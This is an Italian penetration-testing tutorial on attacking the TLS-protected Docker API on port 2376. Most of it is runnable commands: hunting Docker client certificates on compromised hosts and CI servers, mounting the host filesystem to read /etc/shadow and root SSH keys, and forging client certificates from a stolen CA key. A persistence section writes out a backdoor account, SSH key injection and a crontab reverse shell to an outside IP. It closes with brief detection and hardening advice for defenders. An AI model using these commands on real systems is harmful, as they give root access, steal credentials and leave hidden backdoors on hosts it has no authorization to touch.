Porta 2376 Docker API TLS: Pentest e mTLS

Porta 2376 Docker API TLS nel pentest: TLS enumeration, mutual TLS, furto di client certificate, misconfigurazioni e accesso remoto al daemon
- Pubblicato il 2026-04-13
- Tempo di lettura: 5 min
Executive Summary — La porta 2376 è la versione TLS dell’API Docker remota. Mentre la porta 2375 espone l’API senza alcuna protezione (root in 2 minuti), la 2376 richiede mutual TLS: il client deve presentare un certificato firmato dalla CA del Docker daemon. Questo la rende significativamente più sicura — ma non immune. Nel pentest, la 2376 si attacca tramite: certificati client rubati da host compromessi, CA key compromessa, TLS misconfiguration (verifica disabilitata) e certificati scaduti ancora accettati. Se ottieni un certificato valido, l’exploitation è identica alla 2375 — root sull’host in pochi secondi.
Cos’è la porta 2376 (Docker API TLS)
- La 2376 espone la Docker API con TLS mutual authentication — servono
ca.pem,cert.pem,key.pem - Se trovi questi certificati su host compromessi (CI/CD, workstation DevOps, backup, NFS) → accesso root al Docker host
- Se il daemon usa
--tlssenza--tlsverify→ accesso senza certificato client
Differenza tra Porta 2375 e 2376 #
| Aspetto | Porta 2375 | Porta 2376 |
|---|---|---|
| Protocollo | HTTP chiaro | HTTPS (TLS) |
| Autenticazione | Nessuna | Mutual TLS (certificato client) |
| Rischio se esposta | Critico — chiunque ha root | Alto — serve il certificato |
| Exploitation | Diretta, immediata | Richiede cert o bypass TLS |
| Frequenza | Rara (errore grave) | Comune in ambienti DevOps |
Nella pratica, un Docker daemon configurato “correttamente” usa la 2376. Ma i certificati client devono essere distribuiti a chi gestisce Docker da remoto — sviluppatori, CI/CD, automation tool. Ogni copia dei certificati è un potenziale punto di compromissione.
Come Funziona il Mutual TLS Docker #
Docker Client Docker Daemon (:2376)
┌──────────────┐ ┌──────────────────┐
│ cert.pem │ ── TLS handshake ──► │ server-cert.pem │
│ key.pem │ │ server-key.pem │
│ ca.pem │ ◄── mutual verify ── │ ca.pem │
└──────────────┘ └──────────────────┘Il client presenta cert.pem firmato dalla CA. Il daemon verifica la firma. Il client verifica il certificato del server. Se entrambe le verifiche passano → connessione stabilita con i permessi completi dell’API Docker (equivalente a root sull’host).
1. Enumerazione #
Nmap #
nmap -sV -p 2376 --script=ssl-cert,ssl-enum-ciphers 10.10.10.40PORT STATE SERVICE VERSION
2376/tcp open docker Docker 24.0.7
| ssl-cert: Subject: commonName=docker-host-01
| Subject Alternative Name: DNS:docker-host-01, IP:10.10.10.40
| Issuer: commonName=Docker TLS CA
| Not valid before: 2025-01-01
| Not valid after: 2026-01-01
| ssl-enum-ciphers:
| TLSv1.2:
| TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 - AIspezione certificato #
echo | openssl s_client -connect 10.10.10.40:2376 2>/dev/null | openssl x509 -noout -textSubject: CN = docker-host-01
Subject Alternative Name:
DNS:docker-host-01, DNS:docker-host-01.corp.internal, IP:10.10.10.40
Issuer: CN = Docker TLS CAIntelligence dal certificato:
- CN e SAN: hostname del Docker host, dominio interno
- Issuer: CA custom → i certificati sono stati generati internamente
- Validity: scadenza → se scaduto e il daemon lo accetta comunque, è un finding
Test di connessione #
# Senza certificato — deve fallire
curl -sk https://10.10.10.40:2376/versionSe ricevi un errore TLS (alert bad certificate) → mutual TLS funziona.
Se ricevi una risposta JSON → il daemon non verifica il certificato client. Exploitation immediata come la porta 2375.
2. Ottenere i Certificati Client #
Il cuore dell’attacco alla 2376: trovare ca.pem, cert.pem e key.pem.
Dove cercare su host compromessi #
Directory standard ~/.docker/:
find /home -path "*/.docker/*.pem" 2>/dev/null
find /root -path "*/.docker/*.pem" 2>/dev/null/home/devops/.docker/ca.pem
/home/devops/.docker/cert.pem
/home/devops/.docker/key.pemVariabili d’ambiente Docker:
env | grep DOCKER
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE "DOCKER_CERT|DOCKER_HOST|DOCKER_TLS"DOCKER_HOST=tcp://10.10.10.40:2376
DOCKER_TLS_VERIFY=1
DOCKER_CERT_PATH=/home/devops/.dockerLe variabili d’ambiente indicano esattamente dove sono i certificati e quale host Docker controllano.
Server CI/CD (Jenkins, GitLab CI, GitHub Actions):
# Jenkins
find /var/lib/jenkins -name "*.pem" 2>/dev/null
cat /var/lib/jenkins/.docker/cert.pem
# GitLab Runner
find /etc/gitlab-runner -name "*.pem" 2>/dev/null
find /home/gitlab-runner -name "*.pem" 2>/dev/null
# Config files con path ai certificati
grep -riE "DOCKER_CERT|tlscacert|tlscert|tlskey" /var/lib/jenkins/ /etc/gitlab-runner/ /opt/ 2>/dev/nullI server CI/CD buildano e deployano container — hanno quasi sempre certificati Docker. Compromettere Jenkins → trovare i cert → root su tutti i Docker host del pipeline.
Backup e share di rete:
# NFS
showmount -e 10.10.10.40
# Mount e cerca .docker/ nelle homePer le tecniche NFS di mount e UID spoofing.
# SMB
smbclient //10.10.10.40/DevOps -U j.smith
smb: \> recurse; prompt; mget *.pemConfig management (Ansible, Puppet, Chef):
find / -name "*.yml" -o -name "*.yaml" 2>/dev/null | xargs grep -l "cert.pem\|key.pem\|tlskey" 2>/dev/nullI playbook Ansible distribuiscono certificati Docker ai nodi — il server Ansible ha tutti i certificati.
Git repository (errore comune):
# Cerca certificati committati per errore
find / -name ".git" -type d 2>/dev/null | while read gitdir; do
cd "$(dirname $gitdir)"
git log --all --diff-filter=A -- "*.pem" 2>/dev/null | head -5
doneAnche se rimossi dal repository corrente, i certificati restano nella history Git.
Kubernetes Secrets:
kubectl get secrets -A | grep -iE "docker|tls|registry"
kubectl get secret docker-tls -n devops -o jsonpath='{.data.cert\.pem}' | base64 -dPer le tecniche Kubernetes: container escape.
Zookeeper / Consul:
Se l’infrastruttura usa Zookeeper o Consul per la configurazione, i certificati Docker possono essere memorizzati negli znodes o key-value store.
3. Exploitation con Certificato Rubato #
Con ca.pem, cert.pem e key.pem, l’exploitation è identica alla porta 2375.
Docker CLI #
export DOCKER_HOST=tcp://10.10.10.40:2376
export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=/tmp/stolen_certs/
# Enumera
docker ps
docker images
docker infoRoot sull’host #
docker --tlsverify \
--tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem \
-H tcp://10.10.10.40:2376 \
run -v /:/mnt --rm -it alpine chroot /mnt bashroot@container:/# id
uid=0(root) gid=0(root)
root@container:/# cat /etc/shadow
root:$6$abc$hash...:19000:0:99999:7:::
root@container:/# cat /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...Root completo sull’host. Per le tecniche post-exploitation: linux enumeration, privilege escalation.
Con curl (senza Docker CLI) #
# Lista container
curl -sk --cert cert.pem --key key.pem --cacert ca.pem \
https://10.10.10.40:2376/containers/json# Crea container con host mount
curl -sk --cert cert.pem --key key.pem --cacert ca.pem \
-X POST -H "Content-Type: application/json" \
https://10.10.10.40:2376/containers/create \
-d '{"Image":"alpine","Cmd":["cat","/mnt/etc/shadow"],"HostConfig":{"Binds":["/:/mnt"]}}'# Avvia
curl -sk --cert cert.pem --key key.pem --cacert ca.pem \
-X POST https://10.10.10.40:2376/containers/CONTAINER_ID/start
# Leggi output
curl -sk --cert cert.pem --key key.pem --cacert ca.pem \
https://10.10.10.40:2376/containers/CONTAINER_ID/logs?stdout=truePersistence #
# Aggiungi chiave SSH a root
docker ... run -v /:/mnt --rm alpine sh -c \
'echo "ssh-rsa AAAA..." >> /mnt/root/.ssh/authorized_keys'
# Crea utente backdoor
docker ... run -v /:/mnt --rm alpine sh -c \
'echo "backdoor:\$6\$xyz\$hash:0:0::/root:/bin/bash" >> /mnt/etc/passwd'
# Modifica crontab
docker ... run -v /:/mnt --rm alpine sh -c \
'echo "* * * * * root bash -c \"bash -i >& /dev/tcp/10.10.10.200/4444 0>&1\"" >> /mnt/etc/crontab'4. TLS Misconfiguration — Bypass Senza Certificato #
–tls senza –tlsverify #
La misconfiguration più comune. Il daemon Docker è avviato con:
dockerd --tls --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pemInvece di:
dockerd --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem--tls abilita TLS per cifrare il traffico ma non verifica il certificato client. Chiunque si connette:
curl -sk https://10.10.10.40:2376/versionSe risponde con il JSON della versione → nessuna mutual auth → exploitation diretta.
CA key compromessa — Genera nuovi certificati #
Se trovi ca-key.pem (la chiave privata della CA):
# Cerca
find / -name "ca-key.pem" -o -name "ca.key" 2>/dev/nullSpesso è nella stessa directory dei certificati server:
ls /etc/docker/tls/
# ca.pem ca-key.pem server-cert.pem server-key.pemCon la CA key, generi un certificato client legittimo:
openssl genrsa -out new-key.pem 4096
openssl req -new -key new-key.pem -out new.csr -subj "/CN=legitimate-client"
openssl x509 -req -in new.csr -CA ca.pem -CAkey ca-key.pem \
-CAcreateserial -out new-cert.pem -days 365# Connettiti con il certificato generato
docker --tlsverify --tlscacert=ca.pem --tlscert=new-cert.pem --tlskey=new-key.pem \
-H tcp://10.10.10.40:2376 psCertificato scaduto ma accettato #
openssl x509 -in cert.pem -noout -datesnotAfter=Jan 1 00:00:00 2024 GMTScaduto, ma prova comunque. Alcuni daemon non verificano la scadenza.
5. Detection & Hardening #
Blue Team #
| Indicatore | Cosa cercare |
|---|---|
| Connessioni da IP non noti | Log Docker daemon con CN del certificato |
Container con bind mount / | Alert immediato — non è mai legittimo |
| Creazione container privilegiati | --privileged da API remota |
| Certificati rubati in uso | Confronta CN/serial con l’inventario |
Hardening #
- Sempre
--tlsverify— mai solo--tls - CA key offline — non sullo stesso host del daemon
- Certificati a scadenza breve (30-90 giorni) con rotazione automatica
- CRL (Certificate Revocation List) per invalidare certificati compromessi
- Firewall — 2376 raggiungibile solo da IP autorizzati
- Docker socket Unix preferito se non serve accesso remoto
- Audit log — logga ogni operazione API con CN del certificato client
- Mai committare certificati in Git — usa secret manager (Vault, AWS Secrets Manager)
- Authorization plugin — Docker supporta plugin che limitano le operazioni per certificato
6. Cheat Sheet Finale #
| Azione | Comando |
|---|---|
| Nmap | nmap -sV -p 2376 --script=ssl-cert target |
| Cert info | openssl s_client -connect target:2376 |
| Test senza cert | curl -sk https://target:2376/version |
| Test con cert | curl -sk --cert cert.pem --key key.pem --cacert ca.pem https://target:2376/version |
| Docker CLI | DOCKER_HOST=tcp://target:2376 DOCKER_TLS_VERIFY=1 docker ps |
| Root shell | docker ... run -v /:/mnt --rm -it alpine chroot /mnt bash |
| Cerca cert | find / -name "*.pem" | grep -i docker |
| Cerca env | env | grep DOCKER |
| Genera cert da CA key | openssl x509 -req -in new.csr -CA ca.pem -CAkey ca-key.pem ... |
| Verifica scadenza | openssl x509 -in cert.pem -noout -dates |
Riferimento: Docker TLS documentation, HackTricks Docker, container escape. Uso esclusivo in ambienti autorizzati. https://forums.docker.com/







